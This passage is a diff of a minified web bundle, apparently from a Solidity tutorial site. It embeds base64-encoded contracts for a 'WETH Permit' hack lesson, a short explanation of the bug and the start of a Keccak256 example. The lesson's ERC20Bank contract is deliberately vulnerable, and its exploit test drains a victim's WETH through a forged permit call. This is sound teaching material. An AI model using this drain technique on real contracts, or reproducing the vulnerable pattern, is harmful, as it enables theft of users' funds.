0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjBQZXJtaXQuc29sIjsKCmNvbnRyYWN0IEVSQzIwQmFuayB7CiAgICBJRVJDMjBQZXJtaXQgcHVibGljIGltbXV0YWJsZSB0b2tlbjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3Rva2VuKSB7CiAgICAgICAgdG9rZW4gPSBJRVJDMjBQZXJtaXQoX3Rva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgewogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0V2l0aFBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0b2tlbi5wZXJtaXQob3duZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudCwgZGVhZGxpbmUsIHYsIHIsIHMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShvd25lciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9Cn0K"},{fileName:"ERC20BankExploitTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3Mvd2V0aC1wZXJtaXQvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vLi4vLi4vc3JjL2hhY2tzL3dldGgtcGVybWl0L0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgdXNlciA9IGFkZHJlc3MoMTEpOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IGF0dGFja2VyID0gYWRkcmVzcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwp9Cg=="},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgV0VUSCBpcyBFUkMyMCB7CiAgICBldmVudCBEZXBvc2l0KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYWNjb3VudCwgdWludDI1NiBhbW91bnQpOwoKICAgIGNvbnN0cnVjdG9yKCkgRVJDMjAoIldyYXBwZWQgRXRoZXIiLCAiV0VUSCIsIDE4KSB7fQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZGVwb3NpdCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgICAgICBlbWl0IERlcG9zaXQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],hZ=`

                                    Vulnerability

                                    +`,cZ=({prev:s,next:a})=>r.jsx(A,{version:aZ,title:nZ,description:lZ,html:eZ,prev:s,next:a,codes:pZ}),tZ="0.8.24",oZ="WETH Permit",rZ="An example of WETH permit hack",iZ=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50CiAgICApOwoKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sOwogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIGFsbG93YW5jZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBhbGxvd2FuY2VbbXNnLnNlbmRlcl1bc3BlbmRlcl0gPSBhbW91bnQ7CiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjBQZXJtaXQuc29sIjsKCmNvbnRyYWN0IEVSQzIwQmFuayB7CiAgICBJRVJDMjBQZXJtaXQgcHVibGljIGltbXV0YWJsZSB0b2tlbjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3Rva2VuKSB7CiAgICAgICAgdG9rZW4gPSBJRVJDMjBQZXJtaXQoX3Rva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgewogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0V2l0aFBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0b2tlbi5wZXJtaXQob3duZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudCwgZGVhZGxpbmUsIHYsIHIsIHMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShvd25lciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9Cn0K"},{fileName:"ERC20BankExploitTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3Mvd2V0aC1wZXJtaXQvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vLi4vLi4vc3JjL2hhY2tzL3dldGgtcGVybWl0L0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgdXNlciA9IGFkZHJlc3MoMTEpOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IGF0dGFja2VyID0gYWRkcmVzcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwp9Cg=="},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgV0VUSCBpcyBFUkMyMCB7CiAgICBldmVudCBEZXBvc2l0KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYWNjb3VudCwgdWludDI1NiBhbW91bnQpOwoKICAgIGNvbnN0cnVjdG9yKCkgRVJDMjAoIldyYXBwZWQgRXRoZXIiLCAiV0VUSCIsIDE4KSB7fQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZGVwb3NpdCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgICAgICBlbWl0IERlcG9zaXQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],gZ=`

                                    Vulnerability

                                    Most ERC20 have the permit function to approve a spender if a valid signature is provided.

                                    However WETH does not. Surprisingly, when permit is called on WETH, the function call will execute without any errors.

                                    This is because the fallback inside WETH is execute when permit is called.

                                    @@ -11168,7 +11168,7 @@ if the signer's intention was to approve a transaction once.

                                    emit Withdraw(msg.sender, amount); } } -`,IZ=({prev:s,next:a})=>r.jsx(A,{version:oZ,title:rZ,description:iZ,html:hZ,prev:s,next:a,codes:gZ}),dZ="0.8.24",CZ="Hashing with Keccak256",jZ="Example of hashing using Keccak256 in Solidity",AZ=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKHN0cmluZyBtZW1vcnkgX3RleHQsIHVpbnQyNTYgX251bSwgYWRkcmVzcyBfYWRkcikKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RleHQsIF9udW0sIF9hZGRyKSk7CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiBoYXNoIGNvbGxpc2lvbgogICAgLy8gSGFzaCBjb2xsaXNpb24gY2FuIG9jY3VyIHdoZW4geW91IHBhc3MgbW9yZSB0aGFuIG9uZSBkeW5hbWljIGRhdGEgdHlwZQogICAgLy8gdG8gYWJpLmVuY29kZVBhY2tlZC4gSW4gc3VjaCBjYXNlLCB5b3Ugc2hvdWxkIHVzZSBhYmkuZW5jb2RlIGluc3RlYWQuCiAgICBmdW5jdGlvbiBjb2xsaXNpb24oc3RyaW5nIG1lbW9yeSBfdGV4dCwgc3RyaW5nIG1lbW9yeSBfYW5vdGhlclRleHQpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgLy8gZW5jb2RlUGFja2VkKEFBQSwgQkJCKSAtPiBBQUFCQkIKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUEsIEFCQkIpIC0+IEFBQUJCQgogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX2Fub3RoZXJUZXh0KSk7CiAgICB9Cn0KCmNvbnRyYWN0IEd1ZXNzVGhlTWFnaWNXb3JkIHsKICAgIGJ5dGVzMzIgcHVibGljIGFuc3dlciA9CiAgICAgICAgMHg2MDI5OGY3OGNjMGI0NzE3MGJhNzljMTBhYTM4NTFkNzY0OGJkOTZmMmY4ZTQ2YTE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgIH0KfQo="}],uZ=`

                                    keccak256 computes the Keccak-256 hash of the input.

                                    +`,hZ=({prev:s,next:a})=>r.jsx(A,{version:tZ,title:oZ,description:rZ,html:gZ,prev:s,next:a,codes:iZ}),IZ="0.8.24",dZ="Hashing with Keccak256",CZ="Example of hashing using Keccak256 in 